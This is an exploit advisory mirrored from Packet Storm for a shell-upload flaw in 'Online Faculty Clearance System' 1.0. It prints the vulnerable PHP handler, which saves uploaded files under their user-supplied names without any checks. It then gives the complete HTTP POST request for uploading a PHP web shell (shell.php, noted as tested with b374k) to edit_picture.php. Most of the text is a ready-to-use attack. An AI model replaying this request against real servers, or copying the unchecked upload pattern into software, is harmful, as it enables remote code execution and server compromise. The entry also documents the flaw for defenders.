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## https://sploitus.com/exploit?id=PACKETSTORM:161949
# Exploit Title: Online Faculty Clearance System Shell Upload  
# Exploit Author: th3d1gger  
# Vendor Homepage: https://sourcecodester.com  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/onlineclearance_0.zip  
# Version: 1.0  
# Tested on Windows 10  
  
@Vulnerable Source Code  
-------------------------------------------------------  
  
<?php  
if(isset($_POST['files']))  
{  
$a = $_FILES['file']['name'];  
$ab = $_FILES['file']['tmp_name'];  
$location = "".$a;  
move_uploaded_file($ab, "../requirements/".$location);  
// $sql = $conn->prepare("INSERT INTO requirement (file) VALUES (?)");  
// $sql->execute(array($location));  
$userid = $_SESSION['id'];   
$a = $conn->lastInsertId();  
// $sql1 = $conn->prepare("INSERT INTO req_faculty (id,req_id,file) VALUES (?,?,?)");  
// $sql1->execute(array($userid,$a,$location));  
$sql2 = $conn->prepare("UPDATE faculty SET faculty_picture = ? WHERE id = ?");  
$sql2->execute(array($location,$userid));  
if($sql){   
echo '  
<script>   
window.location = "edit_picture.php"  
</script>';   
}  
}  
?>  
@attack request  
-----------------------ShellUpload---------------------------  
POST /production/edit_picture.php HTTP/1.1  
  
Host: 192.168.1.5  
  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
  
Accept-Language: en-US,en;q=0.5  
  
Accept-Encoding: gzip, deflate  
  
Content-Type: multipart/form-data; boundary=---------------------------304272295614074513932150381645  
  
Content-Length: 171193  
  
Origin: http://192.168.1.5  
  
Connection: close  
  
Referer: http://192.168.1.5/production/edit_picture.php  
  
Cookie: PHPSESSID=33m58omrnhv63lll47tsfqsvfn  
  
Upgrade-Insecure-Requests: 1  
  
  
  
-----------------------------304272295614074513932150381645  
  
Content-Disposition: form-data; name="file"; filename="shell.php"  
  
Content-Type: application/x-php  
  
<?php   
tested with b374k ?>  
  
  
-----------------------------304272295614074513932150381645  
  
Content-Disposition: form-data; name="files"  
  
  
  
  
  
-----------------------------304272295614074513932150381645--